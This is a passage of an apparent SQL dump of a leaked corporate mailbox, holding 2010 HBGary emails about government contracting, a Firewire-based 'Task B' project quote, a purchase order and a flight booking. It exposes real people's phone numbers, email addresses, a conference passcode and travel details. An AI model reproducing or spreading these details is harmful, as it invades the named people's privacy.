think he&#8217;s\r\ngoing to give you a call\r\n\r\n&nbsp;\r\n\r\nkarenmaryburke@yahoo.com\r\n\r\n\r\n&nbsp;\r\n\r\n650-814-3764\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve also copied Aaron Barr CEO of HBGary Federal,\r\nBill has ideas on who we can work together as well&nbsp; Aaron&#8217;s phone is\r\n719-510-8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14636,'aaron_hbgary_com/14636.html'),(2823,'2010-02-18','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297001291.M930852P3547Q2823.eml','\"Aaron Barr\" <aaron@hbgary.com>','Team Approach Discussion on 624th Operations Center Engagement','\r\n\r\n\r\n\r\n\r\nTeam Approach Discussion on 624th Operations Center Engagement\r\n\r\n\r\n\r\n\r\nWhen: Friday, February 19, 2010 10:30 AM-11:00 AM (GMT-06:00) Central Time (US &amp; Canada).\r\n\r\nWhere: Concall:&nbsp; 866.740.2200&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Participant Passcode:&nbsp; 5379450\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nThis call is to develop a clearing understanding of next steps in engaging with 624th OC in helping them meet their imminent requirements to reach FOC.&nbsp; Aaron will also talk us thru the Aurora project approach.&nbsp; \r\n\r\nBest always, \r\n\r\n\r\n\r\nRobert \'Bob\' Shows\r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation\r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',4992,'aaron_hbgary_com/4992.html'),(2824,'2010-02-18','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001292.M174141P3547Q2824.eml','\"Quillin, Charles\" <cquillin@harris.com>,\"Quillin, Charles\" <cquillin@harris.com>,','RE: Thanks','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHI Charles,\r\n\r\n&nbsp;\r\n\r\nI think we are partnered with\r\none firm, but I am not handling this directly.&nbsp; Aaron Barr and Bob Slapnik\r\nare.&nbsp; Aaron was previously from Northrup Grumman and Bob, who is quite familiar\r\nwith Crucial, deals with all of our SI&#8217;s.&nbsp;&nbsp; Can I have them call you?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Quillin, Charles\r\n[mailto:cquillin@harris.com] \r\nSent: Thursday, February 18, 2010 11:54 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Thanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo problem &#8211; \r\n\r\n&nbsp;\r\n\r\nAre you guys teamed on the\r\nGenome bid?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSincerely,\r\n\r\nCharles T.\r\nQuillin, Jr.\r\n\r\n703-961-9456\r\nx123\r\n\r\n703-623-4425&nbsp;\r\nmobile\r\n\r\nCrucial\r\nSecurity Programs\r\n\r\nHarris\r\nCorporation\r\n\r\n&nbsp;\r\n\r\nCQuillin@Harris.com\r\n\r\n&nbsp;\r\n\r\nwww.Harris.com/CSP\r\n\r\nVA DCJS\r\nID:&nbsp; 11-5327\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16504,'aaron_hbgary_com/16504.html'),(2825,'2010-02-18','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001292.M504594P3547Q2825.eml','\"Quillin, Charles\" <cquillin@harris.com>,\"Quillin, Charles\" <cquillin@harris.com>,','RE: Thanks','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK I&#8217;ll have them talk to her\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Quillin, Charles\r\n[mailto:cquillin@harris.com] \r\nSent: Thursday, February 18, 2010 12:56 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Thanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nActually &#8211;\r\n\r\n&nbsp;\r\n\r\nIf you could have them ping Karen\r\n(she is handling AF and Darpa) and cc me that would be great\r\n\r\nKaren is awesome and&nbsp;\r\nrecent Crucial addition &#8211; you can google David VB her husband\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKaren K. Van Buren\r\n\r\nSenior Program Manager\r\n\r\nHarris Corporation Crucial Security Programs 14900 Conference\r\nCenter Drive, Suite 225 Chantilly, VA 20151\r\n\r\n703.961.9456 x247 (office)\r\n\r\n703.774.6583 (cell)\r\n\r\n703.961.9459 (fax)\r\n\r\nkaren.vanburen@harris.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSincerely,\r\n\r\nCharles T.\r\nQuillin, Jr.\r\n\r\n703-961-9456\r\nx123\r\n\r\n703-623-4425&nbsp;\r\nmobile\r\n\r\nCrucial\r\nSecurity Programs\r\n\r\nHarris\r\nCorporation\r\n\r\n&nbsp;\r\n\r\nCQuillin@Harris.com\r\n\r\n&nbsp;\r\n\r\nwww.Harris.com/CSP\r\n\r\nVA DCJS\r\nID:&nbsp; 11-5327\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com]\r\n\r\nSent: Thursday, February 18, 2010 3:31 PM\r\nTo: Quillin, Charles\r\nCc: \'Aaron Barr\'; \'Bob Slapnik\'\r\nSubject: RE: Thanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHI\r\nCharles,\r\n\r\n&nbsp;\r\n\r\nI think\r\nwe are partnered with one firm, but I am not handling this directly.&nbsp;\r\nAaron Barr and Bob Slapnik are.&nbsp; Aaron was previously from Northrup\r\nGrumman and Bob, who is quite familiar with Crucial, deals with all of our\r\nSI&#8217;s.&nbsp;&nbsp; Can I have them call you?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Quillin, Charles\r\n[mailto:cquillin@harris.com] \r\nSent: Thursday, February 18, 2010 11:54 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Thanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo\r\nproblem &#8211; \r\n\r\n&nbsp;\r\n\r\nAre you\r\nguys teamed on the Genome bid?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSincerely,\r\n\r\nCharles T. Quillin, Jr.\r\n\r\n703-961-9456 x123\r\n\r\n703-623-4425&nbsp; mobile\r\n\r\nCrucial Security Programs\r\n\r\nHarris Corporation\r\n\r\n&nbsp;\r\n\r\nCQuillin@Harris.com\r\n\r\n&nbsp;\r\n\r\nwww.Harris.com/CSP\r\n\r\nVA DCJS ID:&nbsp; 11-5327\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10841,'aaron_hbgary_com/10841.html'),(2826,'2010-02-18','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001292.M740691P3547Q2826.eml','aaron@hbgary.com,phil@hbgary.com','Presentation in April','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Phil,\r\n\r\n&nbsp;\r\n\r\nSince HBGary could not participate in their Feb Tech Tuesday\r\nmeeting, SAIC has requested that we give a presentation on April 13th or\r\n20th.&nbsp; They also have John\r\nFarrell at EndGame lined up to discuss his analysis of Aurora.&nbsp; So, Tim Estell\r\nof SAIC was thinking that EndGame and HBGary could give back-to-back\r\npresentations or we could work with EndGame to give a joint presentation.&nbsp; The\r\npresentation would be in Columbia, MD and will be attended by 20-30 SAIC\r\nsubcontractors with interest in malware and cyber security.\r\n\r\n&nbsp;\r\n\r\nBoth\r\nof you could attend, just one of you, or maybe you will decline the offer.&nbsp;\r\nPlease let me know how you would like to proceed.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7032,'aaron_hbgary_com/7032.html'),(2827,'2010-02-18','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001292.M965293P3547Q2827.eml','aaron@hbgary.com','RE: Thanks','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nPenny asked me to call this\r\nperson from Harris regarding DARPA cyber genome, but I want to talk to you first.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp;\r\n|&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; |\r\nMobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Thursday, February 18, 2010 4:19 PM\r\nTo: \'Quillin, Charles\'\r\nCc: \'Bob Slapnik\'; \'Aaron Barr\'\r\nSubject: RE: Thanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK I&#8217;ll have them talk to her\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Quillin, Charles\r\n[mailto:cquillin@harris.com] \r\nSent: Thursday, February 18, 2010 12:56 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Thanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nActually &#8211;\r\n\r\n&nbsp;\r\n\r\nIf you could have them ping\r\nKaren (she is handling AF and Darpa) and cc me that would be great\r\n\r\nKaren is awesome and&nbsp;\r\nrecent Crucial addition &#8211; you can google David VB her husband\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKaren K. Van Buren\r\n\r\nSenior Program Manager\r\n\r\nHarris Corporation Crucial Security Programs 14900\r\nConference Center Drive, Suite 225 Chantilly, VA 20151\r\n\r\n703.961.9456 x247 (office)\r\n\r\n703.774.6583 (cell)\r\n\r\n703.961.9459 (fax)\r\n\r\nkaren.vanburen@harris.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSincerely,\r\n\r\nCharles T.\r\nQuillin, Jr.\r\n\r\n703-961-9456\r\nx123\r\n\r\n703-623-4425&nbsp;\r\nmobile\r\n\r\nCrucial\r\nSecurity Programs\r\n\r\nHarris\r\nCorporation\r\n\r\n&nbsp;\r\n\r\nCQuillin@Harris.com\r\n\r\n&nbsp;\r\n\r\nwww.Harris.com/CSP\r\n\r\nVA DCJS\r\nID:&nbsp; 11-5327\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com]\r\n\r\nSent: Thursday, February 18, 2010 3:31 PM\r\nTo: Quillin, Charles\r\nCc: \'Aaron Barr\'; \'Bob Slapnik\'\r\nSubject: RE: Thanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHI\r\nCharles,\r\n\r\n&nbsp;\r\n\r\nI think\r\nwe are partnered with one firm, but I am not handling this directly.&nbsp;\r\nAaron Barr and Bob Slapnik are.&nbsp; Aaron was previously from Northrup\r\nGrumman and Bob, who is quite familiar with Crucial, deals with all of our\r\nSI&#8217;s.&nbsp;&nbsp; Can I have them call you?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Quillin, Charles\r\n[mailto:cquillin@harris.com] \r\nSent: Thursday, February 18, 2010 11:54 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Thanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo\r\nproblem &#8211; \r\n\r\n&nbsp;\r\n\r\nAre you\r\nguys teamed on the Genome bid?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSincerely,\r\n\r\nCharles T. Quillin, Jr.\r\n\r\n703-961-9456 x123\r\n\r\n703-623-4425&nbsp; mobile\r\n\r\nCrucial Security Programs\r\n\r\nHarris Corporation\r\n\r\n&nbsp;\r\n\r\nCQuillin@Harris.com\r\n\r\n&nbsp;\r\n\r\nwww.Harris.com/CSP\r\n\r\nVA DCJS ID:&nbsp; 11-5327\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2695 - Release Date: 02/18/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12479,'aaron_hbgary_com/12479.html'),(2828,'2010-02-18','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001293.M171685P3547Q2828.eml','\"Matt O\'Flynn\" <matt@hbgary.com>,all@hbgary.com','RE: Fishnet PO#041541/Opp#90108/International Finance Corporation','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt got his first order.&nbsp; It&#8217;s\r\nwith World Bank.&nbsp; Great Job Matt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matt O\'Flynn\r\n[mailto:matt@hbgary.com] \r\nSent: Thursday, February 18, 2010 1:51 PM\r\nTo: \'Penny Leavy-Hoglund\'\r\nSubject: FW: Fishnet PO#041541/Opp#90108/International Finance\r\nCorporation\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nAttached is the PO from FishNet,\r\nwhat is the process for submitting? \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nMatt\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Christgen, Tate\r\n(Kansas City) [mailto:Tate.Christgen@fishnetsecurity.com] \r\nSent: Thursday, February 18, 2010 4:23 PM\r\nTo: matt@hbgary.com\r\nCc: FNS-Purchasing\r\nSubject: Fishnet PO#041541/Opp#90108/International Finance Corporation\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHello,\r\n\r\n&nbsp;\r\n\r\nPlease process attached PO and reply with booking\r\nconfirmation and tracking when available. \r\n\r\n&nbsp;\r\n\r\nThank you and have a good day!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Tate Christgen, Procurement\r\n  Specialist\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  FishNet Security\r\n  Direct: 816.701.3334 | Fax: 816.421.3371 \r\n  Office: 816.421.6611 |\r\n  tate.christgen@fishnetsecurity.com\r\n  web: www.fishnetsecurity.com\r\n  1710 Walnut | Kansas\r\n  City, MO, 64108\r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThe information transmitted in this e-mail is intended only for\r\nthe addressee and may contain confidential and /or privileged material.&nbsp;\r\nAny interception, review, retransmission, dissemination, or other use of, or\r\ntaking of any action upon this information by persons or entities other than\r\nthe intended recipient is prohibited by law and may subject them to criminal or\r\ncivil liability.&nbsp; If you received this communication in error, please\r\ncontact us immediately at 816.421.6611, and delete the communication from any\r\ncomputer or network system.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11716,'aaron_hbgary_com/11716.html'),(2829,'2010-02-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001293.M437163P3547Q2829.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: more Task B work','---------- Forwarded message ----------\r\nFrom: Thompson, Bill M. \r\nDate: Thu, Feb 18, 2010 at 2:42 PM\r\nSubject: more Task B work\r\nTo: ted@hbgary.com, Martin Pillion \r\nCc: \"Penny C. Hoglund\" , \"Spiller, John F.\"\r\n, Scott Pease , \"Thompson,\r\nBill M.\" \r\n\r\n\r\nHi Ted,\r\n\r\nWe met here in Santa Clara, CA in the NES lab with Ben Wilson when you\r\nand Aaron (spelling?) came to visit a couple months ago about HB\r\nFederal.\r\n\r\nPenny informed me a month or so ago that you are the lead for Task B\r\nnow replacing Scott.  I just got off the phone with Martin about\r\nfuture work for Task B and I would like to know formally from you if\r\nyou can provide an updated cost estimate to incorporate the latest\r\nFirewire implementation into an iTouch device or if the below quote is\r\nstill valid. (The last quote is provided for your reference below)\r\n\r\nI would also like to know the status of how Task B is coming along and\r\nif there will be budget left over to characterized the feasibility of\r\nincorporating into the iTouch device in this current budget. (i.e. can\r\nyou shoehorn in the first line item “iTouch Feasibility Study”).  If\r\nnot, I would suggest that you guys reprioritize to make this happen\r\nand then just tack on the additional amount needed to finish the\r\ncurrent scope of Task B (Firewire O/S compatibility work) into the\r\nadditional funds we anticipate sending your way next month.  Of\r\ncourse, John Spiller our PM needs to formally make that\r\nreprioritization call if you decide you don’t have the funds\r\navailable, but that is my recommendation.   If migrating to an iTouch\r\nis feasible, which it sounds like is a good possibility, then we\r\nanticipate moving forward with this migration in the next phase of\r\nTask B.\r\n\r\nPlease let me know at your earliest convenience as this directly\r\nimpacts our ability to obtain more funding from a diminishing source.\r\n\r\nRegards,\r\n\r\nBill\r\n\r\nSent 11/12/2009 from Scott\r\n\r\nBill,\r\n\r\nWe recommend the following operating systems for 32bit development:\r\n\r\nWindows 2000 Professional SP4   $14,133.12\r\n\r\nWindows Vista SP0       $14,133.12\r\n\r\nWindows Vista SP1, SP2  $23,555.20\r\n\r\nTotal   $51,821.44\r\n\r\nWe recommend the following operating systems for 64bit development:\r\n\r\nInitial 64 bit research $47,110.40\r\n\r\nWindows Vista SP0       $14,133.12\r\n\r\nWindows Vista SP1, SP2  $14,133.12\r\n\r\nWindows 7       $23,555.20\r\n\r\nTotal   $98,931.84\r\n\r\nThe PSP and iPod/iTouch delivery platforms each require an initial\r\nfeasibility study.\r\n\r\niPod/iTouch Feasibility study   $23,555.20\r\n\r\niPod/iTouch development $94,220.80\r\n\r\nTotal   $117,776.00\r\n\r\n\r\n\r\nPSP Feasibility study   $23,555.20\r\n\r\nPSP development $94,220.80\r\n\r\nTotal   $117,776.00\r\n\r\nWe do not recommend development for the true server OS versions as\r\nthey are not likely to be found on a laptop:\r\n\r\nWindows 2000 Server\r\n\r\nWindows 2003 Server\r\n\r\nWindows 2008 Server\r\n\r\nLet me know if you have questions.\r\n\r\nBest regards,\r\n\r\nScott\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',9187,'aaron_hbgary_com/9187.html'),(2830,'2010-02-18','UNITED-CONFIRMATION@UNITED.COM','/aaron@hbgary.com/new/1297001293.M676743P3547Q2830.eml','ANJAVERA@MAC.COM,TED@HBGARY.COM,AARON@HBGARY.COM,TEDVERA@MAC.COM','Your United flight confirmation - February 23, 2010 - Denver to Sacramento','\r\n		\r\n		United Airlines\r\n		\r\n		\r\n				.border td{\r\n			padding: 10PX; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed;\r\n			border-left-style: dashed; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-top-width: 0px;\r\n			border-right-width: 0px; border-bottom-width: 0px; border-left-width: 1px;\r\n			}\r\n			.noborder td{\r\n				border: none;\r\n			}\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n				\r\n				\r\n				\r\n					Reservation complete: See details below\r\n			\r\n			\r\n					\r\n					\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		    \r\n		    \r\n		\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n			\r\n	\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n			\r\n		\r\n		\r\n		    \r\n		    \r\n						\r\n		\r\n		&nbsp;			\r\n		\r\n		\r\n			\r\n		\r\n			\r\n			\r\n				Thank you for choosing United. Your ticket(s) have been issued as an E-Ticket\r\n							\r\n		\r\n		\r\n		\r\n\r\n		\r\n		\r\n		\r\n		\r\n        \r\n	         	         \r\n	         	\r\n					  Your e-ticket was issued\r\n\r\n&#8226;You will receive a confirmation email in a few minutes\r\n\r\n&#8226;Check in for your flight online\r\nYou may check in within 24 hours of your scheduled flight departure. Check-in closes 45 minutes before scheduled departure time for flights within the U.S., Puerto Rico and the U.S. Virgin Islands and 1 hour before scheduled departure time for international flights&#8226;View the Traveler guide to learn about itinerary changes, travel tips, meal and entertainment offerings\r\n\r\n					  \r\n					  \r\n					  \r\n					  		\r\n					  		\r\n					   \r\n					\r\n									\r\n				\r\n	         \r\n	         \r\n	         \r\n	         	         \r\n        				\r\n		\r\n		\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n				\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				Your confirmation number is MRSZRD\r\n				\r\n				  \r\n			\r\n				\r\n					\r\n							\r\n							 \r\n								EasyCheck-in Online\r\n							 \r\n							 \r\n					\r\n					\r\n			 \r\n   		   \r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n						\r\n					\r\n					\r\n					\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    \r\n    \r\n    \r\n        \r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n			\r\n				Total price: USD 348.40\r\n				\r\n				\r\n				\r\n		&nbsp;\r\n			    &nbsp;	\r\n			\r\n		\r\n	\r\n	\r\n\r\n	\r\n				\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n			\r\n				\r\n					\r\n					  	  Tue,&nbsp;Feb&nbsp;23,&nbsp;2010\r\n					      Denver, CO (DEN)  to Sacramento, CA (SMF) \r\n					\r\n				\r\n			\r\n		\r\n	\r\n   \r\n	\r\n		\r\n		\r\n		\r\n         \r\n        	\r\n            	\r\n        		\r\n            \r\n        \r\n              \r\n		 \r\n		 \r\n		 \r\n				\r\n			 		\r\n				\r\n			\r\n			\r\n		\r\n		United 0103\r\n			\r\n		\r\n		Depart: DEN 11:58 AMArrive: SMF 1:39 PM\r\n\r\n	Non-stop\r\n	2h 41m \r\n	\r\n	\r\n	\r\n		\r\n		\r\n			\r\n			\r\n				752\r\n			\r\n			\r\n		\r\n	\r\n\r\n	\r\n910 miles traveled\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n			Fare basis code:\r\n			\r\n				\r\n				\r\n				\r\n					SA0CS\r\n				\r\n			\r\n			Booking class:  S\r\n			\r\n			\r\n			Economy\r\n			\r\n			\r\n			\r\n				\r\n					910 Award miles\r\n				\r\n				\r\n			 \r\n			No Meal Service\r\n		\r\n			\r\n\r\n			\r\n\r\n			\r\n\r\n			\r\n\r\n		\r\n	\r\n\r\n\r\n		\r\n\r\n\r\n		\r\n	\r\n	\r\n		Seats:14D\r\n	\r\n	\r\n		\r\n		\r\n		\r\n		\r\n			\r\n			\r\n				\r\n			\r\n		\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	        \r\n			             \r\n			\r\n				\r\n			\r\n	\r\n	\r\n		\r\n	\r\n	\r\n	\r\n	\r\n				\r\n	\r\n	\r\n\r\n		\r\n	\r\n\r\n		\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n			\r\n				\r\n					\r\n					  	  Fri,&nbsp;Feb&nbsp;26,&nbsp;2010\r\n					      Sacramento, CA (SMF)  to Denver, CO (DEN) \r\n					\r\n				\r\n			\r\n		\r\n	\r\n   \r\n	\r\n		\r\n		\r\n		\r\n         \r\n        	\r\n            	\r\n        		\r\n            \r\n        \r\n              \r\n		 \r\n		 \r\n		 \r\n				\r\n			 		\r\n				\r\n			\r\n			\r\n		\r\n		United 0020\r\n			\r\n		\r\n		Depart: SMF 7:31 AMArrive: DEN 10:53 AM\r\n\r\n	Non-stop\r\n	2h 22m \r\n	\r\n	\r\n	\r\n		\r\n		\r\n			\r\n			\r\n				752\r\n			\r\n			\r\n		\r\n	\r\n\r\n	\r\n910 miles traveled\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n			Fare basis code:\r\n			\r\n				\r\n				\r\n				\r\n					TA7KN\r\n				\r\n			\r\n			Booking class:  T\r\n			\r\n			\r\n			Economy\r\n			\r\n			\r\n			\r\n				\r\n					910 Award miles\r\n				\r\n				\r\n			 \r\n			No Meal Service\r\n		\r\n			\r\n\r\n			\r\n\r\n			\r\n\r\n			\r\n\r\n		\r\n	\r\n\r\n\r\n		\r\n\r\n\r\n		\r\n	\r\n	\r\n		Seats:33C\r\n	\r\n	\r\n		\r\n		\r\n		\r\n		\r\n			\r\n			\r\n				\r\n			\r\n		\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	        \r\n			             \r\n			\r\n				\r\n			\r\n	\r\n	\r\n		\r\n	\r\n	\r\n	\r\n	\r\n				\r\n	\r\n	\r\n\r\n		\r\n	\r\n\r\n		\r\n\r\n	\r\n\r\n\r\n    \r\n\r\n	\r\n\r\n\r\n	Penalty\r\nCXL BY FLT TIME OR NOVALUENONREF/CHGFEEPLUSFAREDIF/\r\n\r\n\r\nAdditional information:\r\n\r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n				\r\n\r\n	Check-in information\r\n		\r\n	Please note that valid, government-issued photo identification must be presented at check-in.\r\n	\r\n\r\n		\r\n	\r\n\r\n		\r\n	\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n				\r\n		   	\r\n	\r\n\r\n	\r\n	\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n					\r\n						\r\n					\r\n					\r\n					\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n					\r\n					\r\n							\r\n					\r\n				\r\n			\r\n			\r\n		\r\n	\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n					\r\n				My itineraries			\r\n				&nbsp;\r\n				Frequently asked questions	\r\n				&nbsp;\r\n				EasyUpdate		\r\n			\r\n			\r\n		\r\n		\r\n	\r\n\r\n \r\n					\r\n		\r\n				\r\n					\r\n					\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    \r\n    \r\n    \r\n        \r\n\r\n\r\n    \r\n    \r\n    \r\n        \r\n\r\n\r\n	\r\n	\r\n\r\n		\r\n\r\n	\r\n		Passenger(s)\r\n	\r\n	\r\n		\r\n	\r\n	